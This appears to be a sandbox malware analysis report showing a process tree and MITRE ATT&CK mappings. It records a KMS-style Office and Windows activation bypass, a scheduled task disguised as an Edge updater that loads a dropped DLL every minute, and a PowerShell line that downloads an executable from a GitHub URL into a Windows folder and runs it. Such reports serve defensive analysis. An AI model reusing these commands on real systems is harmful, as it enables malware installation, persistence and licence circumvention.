    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-stil.xrm-ms"
    3⤵
    PID:5140
- - C:\Windows\system32\cscript.exe
    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-ul-oob.xrm-ms"
    3⤵
    PID:5172
- - C:\Windows\system32\cscript.exe
    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-ul.xrm-ms"
    3⤵
    PID:6136
- - C:\Windows\system32\cscript.exe
    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\pkeyconfig-office.xrm-ms"
    3⤵
    PID:5176
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /f /v ProPlus2019Volume.OSPPReady
    3⤵
    - Modifies registry key
    PID:312
- - C:\Program Files\Microsoft Office\root\integration\Integrator.exe
    "C:\Program Files\Microsoft Office\root\integration\integrator.exe" /I /License PRIDName=ProPlus2019Volume.16 PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious use of SetWindowsHookEx
    PID:396
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663'" get LicenseFamily
    3⤵
    PID:2256
- - C:\Windows\system32\find.exe
    find /i "ProPlus2019VL_"
    3⤵
    PID:5036
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /f /v ProPlus2019Volume.OSPPReady /t REG_SZ /d 1
    3⤵
    - Modifies registry key
    PID:1852
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:5520
- - C:\Windows\system32\findstr.exe
    findstr /I "ProPlus2019Volume"
    3⤵
    PID:5540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4304
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
      4⤵
      Modifies registry key
      PID:5076
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds /t REG_SZ /d "ProPlusRetail,ProPlus2019Volume" /f
    3⤵
    - Modifies registry key
    PID:1344
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:4568
- - C:\Windows\system32\findstr.exe
    findstr 2019
    3⤵
    PID:3476
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:8
- - C:\Windows\system32\findstr.exe
    findstr 2021
    3⤵
    PID:4452
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:5312
- - C:\Windows\system32\findstr.exe
    findstr 2024
    3⤵
    PID:2812
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingService where Version='10.0.19041.1266' call RefreshLicenseStatus
    3⤵
    PID:2464
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe"
    3⤵
    PID:5416
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "Description like '%KMSCLIENT%' AND NOT Name like '%MondoR_KMS_Automation%'" get Name /value
    3⤵
    PID:5476
- - C:\Windows\system32\find.exe
    find /i "Office 16" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5464
- - C:\Windows\system32\find.exe
    find /i "Office 19" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:1952
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND NOT Name like '%O365%'" get Name /value
    3⤵
    PID:5592
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5556
- - C:\Windows\system32\find.exe
    find /i "Office 14"
    3⤵
    PID:5596
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5664
- - C:\Windows\system32\find.exe
    find /i "Office 15"
    3⤵
    PID:5576
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5660
- - C:\Windows\system32\find.exe
    find /i "Office 16"
    3⤵
    PID:5748
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5180
- - C:\Windows\system32\find.exe
    find /i "Office 19"
    3⤵
    PID:5108
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:4664
- - C:\Windows\system32\find.exe
    find /i "Office 21"
    3⤵
    PID:4712
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5128
- - C:\Windows\system32\find.exe
    find /i "Office 24"
    3⤵
    PID:5184
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND LicenseFamily like 'Office16O365%'" get LicenseFamily /value
    3⤵
    PID:2756
- - C:\Windows\system32\find.exe
    find /i "O365"
    3⤵
    PID:4508
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "Description like '%KMSCLIENT%'" get Name /value
    3⤵
    PID:5700
- - C:\Windows\system32\findstr.exe
    findstr /i Windows
    3⤵
    PID:5676
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL" get Name /value
    3⤵
    PID:5364
- - C:\Windows\system32\findstr.exe
    findstr /i Windows
    3⤵
    PID:5404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL" get GracePeriodRemaining /value 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3740
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL" get GracePeriodRemaining /value
      4⤵
      PID:5532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingService get Version /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5668
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingService get Version /value
      4⤵
      PID:5880
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2"
    3⤵
    PID:6140
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"
    3⤵
    PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2" /reg:32
    3⤵
    PID:6032
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:32
    3⤵
    PID:5936
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /reg:32
    3⤵
    PID:5892
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2" /reg:32
    3⤵
    PID:5828
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:32
    3⤵
    PID:5840
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f
    3⤵
    PID:5868
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2"
    3⤵
    PID:5816
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"
    3⤵
    PID:5920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' " get ID /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5792
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' " get ID /value
      4⤵
      PID:5832
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get LicenseStatus /value
    3⤵
    PID:5960
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:6104
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5156
- - C:\Windows\system32\findstr.exe
    findstr /i "2de67392-b7a7-462a-b1ca-108dd189f588"
    3⤵
    PID:5740
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f\2de67392-b7a7-462a-b1ca-108dd189f588" /f
    3⤵
    PID:5976
- - C:\Windows\system32\reg.exe
    reg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /f
    3⤵
    - Modifies data under HKEY_USERS
    PID:6040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get Name /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6060
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get Name /value
      4⤵
      PID:5172
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate
    3⤵
    PID:5212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get GracePeriodRemaining /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3716
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get GracePeriodRemaining /value
      4⤵
      PID:5148
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='3f1afc82-f8ac-4f6c-8005-1d233e606eee'" get LicenseStatus /value
    3⤵
    PID:4044
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:3156
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5276
- - C:\Windows\system32\findstr.exe
    findstr /i "3f1afc82-f8ac-4f6c-8005-1d233e606eee"
    3⤵
    PID:5304
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='73111121-5638-40f6-bc11-f1d7b0d64300'" get LicenseStatus /value
    3⤵
    PID:5260
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:5560
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5620
- - C:\Windows\system32\findstr.exe
    findstr /i "73111121-5638-40f6-bc11-f1d7b0d64300"
    3⤵
    PID:1728
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='82bbc092-bc50-4e16-8e18-b74fc486aec3'" get LicenseStatus /value
    3⤵
    PID:1344
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:876
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5308
- - C:\Windows\system32\findstr.exe
    findstr /i "82bbc092-bc50-4e16-8e18-b74fc486aec3"
    3⤵
    PID:8
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='e0c42288-980c-4788-a014-c080d2e1926e'" get LicenseStatus /value
    3⤵
    PID:5064
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:5492
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:4808
- - C:\Windows\system32\findstr.exe
    findstr /i "e0c42288-980c-4788-a014-c080d2e1926e"
    3⤵
    PID:2464
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='e4db50ea-bda1-4566-b047-0ca50abc6f07'" get LicenseStatus /value
    3⤵
    PID:5484
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:5476
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5552
- - C:\Windows\system32\findstr.exe
    findstr /i "e4db50ea-bda1-4566-b047-0ca50abc6f07"
    3⤵
    PID:5580
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='ec868e65-fadf-4759-b23e-93fe37f2cc29'" get LicenseStatus /value
    3⤵
    PID:5588
- - C:\Windows\system32\findstr.exe
    findstr "1"
    3⤵
    PID:5600
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:3128
- - C:\Windows\system32\findstr.exe
    findstr /i "ec868e65-fadf-4759-b23e-93fe37f2cc29"
    3⤵
    PID:5188
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' and Description like '%KMSCLIENT%'" get ID /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5128
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' and Description like '%KMSCLIENT%'" get ID /value
      4⤵
      PID:1000
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='0bc88885-718c-491d-921f-6f214349e79c'" get Name /value
    3⤵
    PID:5688
- - C:\Windows\system32\find.exe
    find /i "Office 14" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:920
- - C:\Windows\system32\find.exe
    find /i "Office 15" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:1068
- - C:\Windows\system32\find.exe
    find /i "Office 16" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:4040
- - C:\Windows\system32\find.exe
    find /i "Office 19" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:3048
- - C:\Windows\system32\find.exe
    find /i "Office 21" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5428
- - C:\Windows\system32\find.exe
    find /i "Office 24" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:4072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='0bc88885-718c-491d-921f-6f214349e79c'" get Name /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4564
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ID='0bc88885-718c-491d-921f-6f214349e79c'" get Name /value
      4⤵
      PID:5756
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5872
- - C:\Windows\system32\findstr.exe
    findstr /i "0bc88885-718c-491d-921f-6f214349e79c"
    3⤵
    PID:5636
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value
    3⤵
    PID:5912
- - C:\Windows\system32\find.exe
    find /i "Office 14" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5844
- - C:\Windows\system32\find.exe
    find /i "Office 15" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5908
- - C:\Windows\system32\find.exe
    find /i "Office 16" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5796
- - C:\Windows\system32\find.exe
    find /i "Office 19" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5868
- - C:\Windows\system32\find.exe
    find /i "Office 21" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5916
- - C:\Windows\system32\find.exe
    find /i "Office 24" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:6084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6100
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value
      4⤵
      PID:5832
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value
    3⤵
    PID:5928
- - C:\Windows\system32\findstr.exe
    findstr /i "85dd8b5f-eaa4-4af3-a628-cce9e77c9a03"
    3⤵
    PID:6112
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663\85dd8b5f-eaa4-4af3-a628-cce9e77c9a03" /f
    3⤵
    PID:6068
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\OEM" /f
    3⤵
    PID:5156
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\OEM" /f /reg:32
    3⤵
    PID:5196
- - C:\Windows\system32\reg.exe
    reg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /f
    3⤵
    PID:6036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6040
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value
      4⤵
      PID:5144
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03' call Activate
    3⤵
    PID:6060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get GracePeriodRemaining /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5212
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get GracePeriodRemaining /value
      4⤵
      PID:1940

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start
1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in Windows directory
PID:6004
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachineCoreUO" /tr "rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat
  2⤵
  PID:2888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/zoneprohuub/WOC/main/VAN' -OutFile 'C:\Windows\Help\service\wininitt.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4276
- C:\Windows\Help\service\wininitt.exe
  C:\Windows\Help\service\wininitt.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery